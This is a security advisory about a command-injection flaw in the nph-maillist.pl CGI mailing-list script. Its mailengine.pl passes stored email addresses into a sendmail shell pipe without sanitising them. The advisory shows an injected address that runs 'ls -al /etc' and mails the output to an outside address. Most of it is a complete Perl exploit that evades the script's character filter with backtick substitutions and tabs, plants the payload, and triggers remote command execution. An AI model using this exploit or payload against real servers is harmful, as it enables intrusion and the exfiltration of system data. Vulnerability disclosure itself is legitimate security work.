COMMAND

    nph-maillist.pl

SYSTEMS AFFECTED

    nph-maillist.pl 3.0, 3.5 (maybe others)

PROBLEM

    Kanedaaa Bohater found following.   The email list generator is  a
    web interfaced script  that allows the  visitors on your  web site
    to leave  their email  address so  they may  be notified  when you
    update your web site.   This script also provides the  the ability
    to create and  change the message  you wish to  send to your  list
    right from the web browser as  well as to maintain the list  being
    generated.  There are two parts to the script. the nph-maillist.pl
    file carries all the functionality  for the web interface and  the
    mailengine.pl is the work horse that runs in the background  until
    all of the list is emailed.

    In mailengine.pl we can find somethink like this:

        $mailprog="/usr/sbin/sendmail";
        $mailfile = "mail.txt";
        open (BSS, $mailfile) || die "Cannot open $mailfile";
        @mailf = <BSS>;
        close (BSS);
        foreach $SIZE (@mailf) {
                $SIZE =~ s/\n//g;
        open (MAIL, "|$mailprog $SIZE") || die "Cannot open $mailprog";
        ...

    Where $mailfile is file  with emails adress... [not  in PostgreSql
    format]  If we send our email adress like:

        urabura@matura.pl ;ls -al /etc|mail root@bigbrother.pl

    and ee post mailengine.pl we can run our commands.

    But in maillist.pl We can find:

        <...>
        if ($FORM{'emailaddress'} !~ /\@/) { &bad_email();}
        if ($FORM{'emailaddress'} !~ /\./) { &bad_email();}
        if ($FORM{'emailaddress'} =~ /\ /) { &bad_email();}
        if ($FORM{'emailaddress'} =~ /\)/) { &bad_email();}
        if ($FORM{'emailaddress'} =~ /\(/) { &bad_email();}
        if ($FORM{'emailaddress'} =~ /\:/) { &bad_email();}
        if ($FORM{'emailaddress'} =~ /\//) { &bad_email();}
        if ($FORM{'emailaddress'} =~ /\\/) { &bad_email();}
        if ($FORM{'emailaddress'} =~ /\http:/) { &bad_email();}
        <...>

    Where emailaddress is  posted emailaddress.   We must add  @ and .
    This is no problem.

    We like characters " ","/","\" ... and we cant use them...  Argh..
    But...  Author  don't parse "  ` " character.   We can change  our
    "/" in command `head -n1 nph-maillist.pl|cut -c3`.

    Yes we know.  We can't use " " ... but we can use "\t" [tabs].  If
    we  change  "/"   in  `head\t-n1\tnph-maillist.pl|cut\t-c3'   that
    nph-maillist.cgi accept this email.

    When we can change / , We can change any "BAD" characters in our
    good characters... and runs our commands...

    Simple exploit in perl:

    #!/usr/bin/perl
    # nph-maillist hack... Kanedaaa  [ kaneda@ac.pl ]
    # its add crazy @email, sends mails, and execute our code of coz ;]
    #
    # greetzzz to all of Bohatery... [Breslau Kilerz, Lam3rz, my Mom, dog,
    # hamster... maybe this is not hamster..., wine, SobiechOS, wine, Cucumber
    # Team Members... yeah. i must go sleep. ;]
    # and #phreakpl, #hackingpl :]
    #
    # . remember thats just simple sploit... You cant play in koules this.. ;]
    use Socket;
    
    # Ip...
    $ip="127.0.0.1";
    
    # Command to run ...
    $command = 'ls -al|mail ssie@bigbrother.pl';
    
    #################################################
    if (!$ARGV[0]) {
    print "....nph-maillist hack... Kanedaaa  [kaneda\@ac.pl]\n";
    print ".........Use the force, edit source...[ ip & command ]\n";
    print "\n";
    print "1:./nph-maillist-ogorek.pl send - add our special \@email to the list.\n";
    print "2:./nph-maillist-ogorek.pl hack - sends emails from list and execute our code.\n";
    }
    
    if ($ARGV[0] eq "send") { &send }
    if ($ARGV[0] eq "hack") { &hack }
    
    
    sub send
    {
    ###########################################
    # You cant add this BAD chars... but we can hack this ;]
    #" "	")"	"("	":"	"/"	"\"	"http:"
    ###########################################
    # Hack the "/" problem... change "/" -> `head -n1 nph-maillist.pl|cut -c3`
    #
    $command =~ s/\//`head -n1 nph-maillist.pl|cut -c3`/g;
    #
    # Hack the ":" problem... change ":" -> `grep ntent-type nph-maillist.pl|tail -n1|awk -F "type" {'print $2'}|cut -c1`
    #
    $command =~ s/:/`grep ntent-type nph-maillist.pl|tail -n1|awk -F "type" {'print \$2'}|cut -c1`/g;
    #
    # Hack the "\" problem... change "\" -> `grep BGCOLOR nph-maillist.pl|tail -n1|awk -F "=" {'print \$2'}|cut -c1`
    #
    $command =~ s/\\/`grep BGCOLOR nph-maillist.pl|tail -n1|awk -F "=" {'print \$2'}|cut -c1`/g;
    #
    # Hack the "(" problem... change "(" -> `grep scalar nph-maillist.pl|tail -n1|awk -F "scalar" {'print \$2'}|cut -c1`
    #
    $command =~ s/\(/`grep scalar nph-maillist.pl|tail -n1|awk -F "scalar" {'print \$2'}|cut -c1`/g;
    #
    # Hack the ")" problem... change ")" -> `grep unlink nph-maillist.pl|awk -F "jobx" {'print \$2'}|cut -c1`
    #
    $command =~ s/\)/`grep unlink nph-maillist.pl|awk -F "jobx" {'print \$2'}|cut -c1`/g;
    
    
    ###
    # Change ascii to hex...
    $command =~ s/([^\w\!*-])/sprintf("%%%02X",ord($1))/ge;
    #
    # Hack the " " problem... change " " -> "\t" [TAB]
    $command =~ s/%20/%09/g;
    
    $r = int(rand(100000));
    $command = "$r\@bigbrother.pl;".$command;
    
    $parms="emailaddress=$command";
    $tosend="GET /cgi-bin/nph-maillist.pl?$parms HTTP/1.0\r\n".
    "Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";
    
    print sendraw($tosend);
    
    print "If server return some ...adding %trash% to the email list...\n";
    print "Now run with hack parametr...Peace\n";
    }
    
    sub hack
    {
    $tosend="GET /cgi-bin/mailengine.pl HTTP/1.0\r\n".
    "Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";
    
    print sendraw($tosend);
    
    print "... Theoretical You are haker... \n";
    
    }
    
    #####################################################
    # Ripped from some RFP code... :]]  I will infuse good Tea for You...
    # I`am the best Infuser of Tea in .pl ... :]
    sub sendraw {
            my ($pstr)=@_; my $target;
            $target= inet_aton($ip) || die("inet_aton problems");
            socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                    die("Socket problems\n");
            if(connect(S,pack "SnA4x8",2,80,$target)){
                    select(S);              $|=1;
                    print $pstr;            my @in=<S>;
                    select(STDOUT);         close(S);
                    return @in;
            } else { die("Can't connect...\n"); }}

SOLUTION

    Nothing yet.